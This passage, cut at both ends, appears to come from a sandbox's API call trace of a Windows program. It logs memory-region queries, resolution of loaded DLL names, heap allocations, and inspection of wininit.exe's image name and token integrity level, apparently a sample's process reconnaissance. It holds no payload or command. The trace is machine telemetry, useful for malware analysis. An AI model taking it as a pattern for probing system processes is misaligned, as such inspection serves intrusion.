out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x77d44000, AllocationBase=0x0, AllocationProtect=0x77c10000, RegionSize=0x0, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0149.811] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0x77d45000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x77d45000, AllocationBase=0x0, AllocationProtect=0x77c10000, RegionSize=0x0, State=0x80, Protect=0xfffff8a0, Type=0x2000), ResultLength=0x0) returned 0x0 [0149.811] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0x77d47000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x77d47000, AllocationBase=0x0, AllocationProtect=0x77c10000, RegionSize=0x0, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0149.811] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0x77d48000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x77d48000, AllocationBase=0x0, AllocationProtect=0x77c10000, RegionSize=0x0, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0149.811] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0x77d49000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x77d49000, AllocationBase=0x0, AllocationProtect=0x77c10000, RegionSize=0x0, State=0x80, Protect=0xfffff8a0, Type=0x2000), ResultLength=0x0) returned 0x0 [0149.811] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0x77d4b000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x77d4b000, AllocationBase=0x0, AllocationProtect=0x77c10000, RegionSize=0x0, State=0x80, Protect=0xfffff8a0, Type=0x3000), ResultLength=0x0) returned 0x0 [0149.811] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0x77d4e000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x77d4e000, AllocationBase=0x0, AllocationProtect=0x77c10000, RegionSize=0x0, State=0x80, Protect=0xfffff8a0, Type=0x6b000), ResultLength=0x0) returned 0x0 [0149.811] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0x77db9000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x77db9000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff8a0, Type=0x7227000), ResultLength=0x0) returned 0x0 [0149.811] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0x7efe0000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x7efe0000, AllocationBase=0x0, AllocationProtect=0x7efe0000, RegionSize=0x0, State=0x4, Protect=0xfffff8a0, Type=0x5000), ResultLength=0x0) returned 0x0 [0149.811] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0x7efe0000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x1b46270, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x1b46270, ResultLength=0x0) returned 0xc0000098 [0149.811] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0x7efe5000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x7efe5000, AllocationBase=0x0, AllocationProtect=0x7efe0000, RegionSize=0x0, State=0x4, Protect=0xfffff8a0, Type=0xfb000), ResultLength=0x0) returned 0x0 [0149.811] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0x7f0e0000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x7f0e0000, AllocationBase=0x0, AllocationProtect=0x7f0e0000, RegionSize=0x0, State=0x2, Protect=0xfffff8a0, Type=0xf00000), ResultLength=0x0) returned 0x0 [0149.811] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0x7ffe0000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x7ffe0000, AllocationBase=0x0, AllocationProtect=0x7ffe0000, RegionSize=0x0, State=0x2, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0149.811] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0x7ffe1000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x7ffe1000, AllocationBase=0x0, AllocationProtect=0x7ffe0000, RegionSize=0x0, State=0x2, Protect=0xfffff8a0, Type=0xf000), ResultLength=0x0) returned 0x0 [0149.812] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0x7fff0000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x7fff0000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff8a0, Type=0x7da60000), ResultLength=0x0) returned 0x0 [0149.812] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0x7fefda50000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0xfda50000, AllocationBase=0x7fe, AllocationProtect=0xfda50000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0149.812] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0x7fefda50000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x1b46270, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x1b46270*(SectionFileName.Length=0x6c, SectionFileName.MaximumLength=0x6e, SectionFileName.Buffer="\\Device\\HarddiskVolume1\\Windows\\System32\\cryptbase.dll"), ResultLength=0x0) returned 0x0 [0149.812] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x20) returned 0xa365d0 [0149.812] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c47878 [0149.812] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x140) returned 0x9e2310 [0149.812] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c3f060) returned 1 [0149.812] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0x7fefda51000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0xfda51000, AllocationBase=0x7fe, AllocationProtect=0xfda50000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x4000), ResultLength=0x0) returned 0x0 [0149.812] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0x7fefda55000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0xfda55000, AllocationBase=0x7fe, AllocationProtect=0xfda50000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x6000), ResultLength=0x0) returned 0x0 [0149.812] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0x7fefda5b000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0xfda5b000, AllocationBase=0x7fe, AllocationProtect=0xfda50000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0149.812] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0x7fefda5c000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0xfda5c000, AllocationBase=0x7fe, AllocationProtect=0xfda50000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x3000), ResultLength=0x0) returned 0x0 [0149.812] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0x7fefda5f000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0xfda5f000, AllocationBase=0x7fe, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0149.812] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0x7fefda60000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0xfda60000, AllocationBase=0x7fe, AllocationProtect=0xfda60000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0149.812] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0x7fefda60000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x1b46270, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x1b46270*(SectionFileName.Length=0x60, SectionFileName.MaximumLength=0x62, SectionFileName.Buffer="\\Device\\HarddiskVolume1\\Windows\\System32\\sxs.dll"), ResultLength=0x0) returned 0x0 [0149.813] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x20) returned 0xa365f8 [0149.813] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c47900 [0149.813] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0x7fefda61000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0xfda61000, AllocationBase=0x7fe, AllocationProtect=0xfda60000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x62000), ResultLength=0x0) returned 0x0 [0149.813] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0x7fefdac3000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0xfdac3000, AllocationBase=0x7fe, AllocationProtect=0xfda60000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x25000), ResultLength=0x0) returned 0x0 [0149.813] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0x7fefdae8000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0xfdae8000, AllocationBase=0x7fe, AllocationProtect=0xfda60000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0149.813] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0x7fefdae9000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0xfdae9000, AllocationBase=0x7fe, AllocationProtect=0xfda60000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x8000), ResultLength=0x0) returned 0x0 [0149.813] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0x7fefdaf1000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0xfdaf1000, AllocationBase=0x7fe, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff8a0, Type=0x7f000), ResultLength=0x0) returned 0x0 [0149.813] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0x7fefdb70000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0xfdb70000, AllocationBase=0x7fe, AllocationProtect=0xfdb70000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0149.813] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0x7fefdb70000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x1b46270, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x1b46270*(SectionFileName.Length=0x66, SectionFileName.MaximumLength=0x68, SectionFileName.Buffer="\\Device\\HarddiskVolume1\\Windows\\System32\\sxssrv.dll"), ResultLength=0x0) returned 0x0 [0149.813] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x20) returned 0x1ab84e8 [0149.813] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c47988 [0149.813] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0x7fefdb71000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0xfdb71000, AllocationBase=0x7fe, AllocationProtect=0xfdb70000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x5000), ResultLength=0x0) returned 0x0 [0149.814] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0x7fefdb76000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0xfdb76000, AllocationBase=0x7fe, AllocationProtect=0xfdb70000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x2000), ResultLength=0x0) returned 0x0 [0149.814] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0x7fefdb78000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0xfdb78000, AllocationBase=0x7fe, AllocationProtect=0xfdb70000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0149.814] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0x7fefdb79000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0xfdb79000, AllocationBase=0x7fe, AllocationProtect=0xfdb70000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x3000), ResultLength=0x0) returned 0x0 [0149.814] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0x7fefdb7c000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0xfdb7c000, AllocationBase=0x7fe, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff8a0, Type=0x4000), ResultLength=0x0) returned 0x0 [0149.814] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0x7fefdb80000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0xfdb80000, AllocationBase=0x7fe, AllocationProtect=0xfdb80000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0149.814] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0x7fefdb80000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x1b46270, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x1b46270*(SectionFileName.Length=0x66, SectionFileName.MaximumLength=0x68, SectionFileName.Buffer="\\Device\\HarddiskVolume1\\Windows\\System32\\winsrv.dll"), ResultLength=0x0) returned 0x0 [0149.814] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x20) returned 0x1ab8510 [0149.814] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c47a10 [0149.814] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0x7fefdb81000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0xfdb81000, AllocationBase=0x7fe, AllocationProtect=0xfdb80000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x15000), ResultLength=0x0) returned 0x0 [0149.814] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0x7fefdb96000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0xfdb96000, AllocationBase=0x7fe, AllocationProtect=0xfdb80000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x5000), ResultLength=0x0) returned 0x0 [0149.814] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0x7fefdb9b000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0xfdb9b000, AllocationBase=0x7fe, AllocationProtect=0xfdb80000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0149.814] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0x7fefdb9c000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0xfdb9c000, AllocationBase=0x7fe, AllocationProtect=0xfdb80000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x1c000), ResultLength=0x0) returned 0x0 [0149.814] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0x7fefdbb8000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0xfdbb8000, AllocationBase=0x7fe, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff8a0, Type=0x8000), ResultLength=0x0) returned 0x0 [0149.815] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x20) returned 0x1ab8538 [0149.815] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c47a98 [0149.815] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x20) returned 0x1ab8560 [0149.815] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c47b20 [0149.816] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x20) returned 0x1ab8588 [0149.816] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c47ba8 [0149.816] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x20) returned 0x1ab85b0 [0149.816] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c47c30 [0149.817] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x20) returned 0x1ab85d8 [0149.817] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c47cb8 [0149.818] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x20) returned 0x1ab8600 [0149.818] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c47d40 [0149.818] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x20) returned 0x1ab8628 [0149.818] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c47dc8 [0149.839] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x20) returned 0x1ab8650 [0149.839] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c47e50 [0149.840] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x20) returned 0x1ab8678 [0149.840] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c47ed8 [0149.840] QueryFullProcessImageNameW (in: hProcess=0x15c, dwFlags=0x0, lpExeName=0x9e4458, lpdwSize=0x1a7f9d8 | out: lpExeName="C:\\Windows\\System32\\wininit.exe", lpdwSize=0x1a7f9d8) returned 1 [0149.841] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9e4458) returned 1 [0149.841] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x1a7f9ac | out: Wow64Process=0x1a7f9ac) returned 1 [0149.841] IsWow64Process (in: hProcess=0x15c, Wow64Process=0x1a7f9bc | out: Wow64Process=0x1a7f9bc) returned 1 [0149.841] NtQueryInformationProcess (in: ProcessHandle=0x15c, ProcessInformationClass=0x18, ProcessInformation=0x1a7f9b8, ProcessInformationLength=0x4, ReturnLength=0x1a7f9bc | out: ProcessInformation=0x1a7f9b8, ReturnLength=0x1a7f9bc) returned 0x0 [0149.841] GetProcessTimes (in: hProcess=0x15c, lpCreationTime=0x1a7f9d8, lpExitTime=0x1a7f9e0, lpKernelTime=0x1a7f9e0, lpUserTime=0x1a7f9e0 | out: lpCreationTime=0x1a7f9d8, lpExitTime=0x1a7f9e0, lpKernelTime=0x1a7f9e0, lpUserTime=0x1a7f9e0) returned 1 [0149.841] OpenProcessToken (in: ProcessHandle=0x15c, DesiredAccess=0x8, TokenHandle=0x1a7f9ac | out: TokenHandle=0x1a7f9ac*=0x1c0) returned 1 [0149.841] GetTokenInformation (in: TokenHandle=0x1c0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x1a7f9a8 | out: TokenInformation=0x0, ReturnLength=0x1a7f9a8) returned 0 [0149.841] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cad0 [0149.841] GetTokenInformation (in: TokenHandle=0x1c0, TokenInformationClass=0x19, TokenInformation=0xa3cad0, TokenInformationLength=0x14, ReturnLength=0x1a7f9a8 | out: TokenInformation=0xa3cad0, ReturnLength=0x1a7f9a8) returned 1 [0149.841] GetSidSubAuthorityCount (pSid=0xa3cad8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000)) returned 0xa3cad9 [0149.841] GetSidSubAuthority (pSid=0xa3cad8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000), nSubAuthority=0x0) returned 0xa3cae0 [0149.841] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cad0) returned 1 [0149.841] NtClose (Handle=0x1c0) returned 0x0 [0149.841] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x20) returned 0x1ab86a0 [0149.842] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c47f60 [0149.845] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x20) returned 0x1ab86c8 [0149.845] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c47fe8 [0149.845] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x1c3f060 [0149.846] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c47fe8) returned 1 [0149.846] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x20) returned 0x1ab86f0 [0149.846] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c47fe8 [0149.847] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x20) returned 0x1ab8718 [0149.847] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c48070 [0149.847] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x180) returned 0x1b394f8 [0149.847] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9e2310) returned 1 [0149.847] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x20) returned 0x1ab8740 [0149.847] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c480f8 [0149.849] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x20) returned 0x1ab8768 [0149.849] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c48180 [0149.849] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x20) returned 0x1ab8790 [0149.849] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c48208 [0149.850] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x20) returned 0x1ab87b8 [0149.850] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c48290 [0149.850] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x20) returned 0x1ab87e0 [0149.850] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c48318 [0149.851] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x20) returned 0x1ab8808 [0149.851] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c483a0 [0149.852] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x20) returned 0x1ab8830 [0149.852] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c48428 [0149.852] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x20) returned 0x1ab8858 [0149.852] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c484b0 [0149.853] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x20) returned 0x1ab8880 [0149.853] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c48538 [0149.853] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x20) returned 0x1ab88a8 [0149.853] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c485c0 [0149.854] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x20) returned 0x1ab88d0 [0149.854] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c48648 [0149.855] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x20) returned 0x1ab88f8 [0149.855] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c486d0 [0149.855] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x20) returned 0x1ab8920 [0149.855] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c48758 [0149.856] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x20) returned 0x1ab8948 [0149.856] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c487e0 [0149.857] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x20) returned 0x1ab8970 [0149.857] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c48868 [0149.857] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x20) returned 0x1ab8998 [0149.857] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c488f0 [0149.857] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x1c0) returned 0x1b39de8 [0149.857] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1b394f8) returned 1 [0149.858] RtlAllocateHeap 